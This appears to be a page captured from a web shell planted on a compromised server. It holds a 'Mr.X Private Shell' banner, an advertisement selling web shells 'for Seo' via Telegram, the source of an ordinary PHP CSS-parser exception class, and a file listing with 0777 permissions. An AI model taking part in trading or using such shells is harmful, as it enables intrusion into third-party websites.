__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
namespace Sabberworm\CSS\Parsing;
/**
* Thrown if the CSS parser encounters a token it did not expect.
*/
class UnexpectedTokenException extends SourceException
{
/**
* @var string
*/
private $sExpected;
/**
* @var string
*/
private $sFound;
/**
* Possible values: literal, identifier, count, expression, search
*
* @var string
*/
private $sMatchType;
/**
* @param string $sExpected
* @param string $sFound
* @param string $sMatchType
* @param int $iLineNo
*/
public function __construct($sExpected, $sFound, $sMatchType = 'literal', $iLineNo = 0)
{
$this->sExpected = $sExpected;
$this->sFound = $sFound;
$this->sMatchType = $sMatchType;
$sMessage = "Token “{$sExpected}” ({$sMatchType}) not found. Got “{$sFound}”.";
if ($this->sMatchType === 'search') {
$sMessage = "Search for “{$sExpected}” returned no results. Context: “{$sFound}”.";
} elseif ($this->sMatchType === 'count') {
$sMessage = "Next token was expected to have {$sExpected} chars. Context: “{$sFound}”.";
} elseif ($this->sMatchType === 'identifier') {
$sMessage = "Identifier expected. Got “{$sFound}”";
} elseif ($this->sMatchType === 'custom') {
$sMessage = trim("$sExpected $sFound");
}
parent::__construct($sMessage, $iLineNo);
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| OutputException.php | File | 358 B | 0777 |
|
| ParserState.php | File | 13.13 KB | 0777 |
|
| SourceException.php | File | 562 B | 0777 |
|
| UnexpectedEOFException.php | File | 273 B | 0777 |
|
| UnexpectedTokenException.php | File | 1.44 KB | 0777 |
|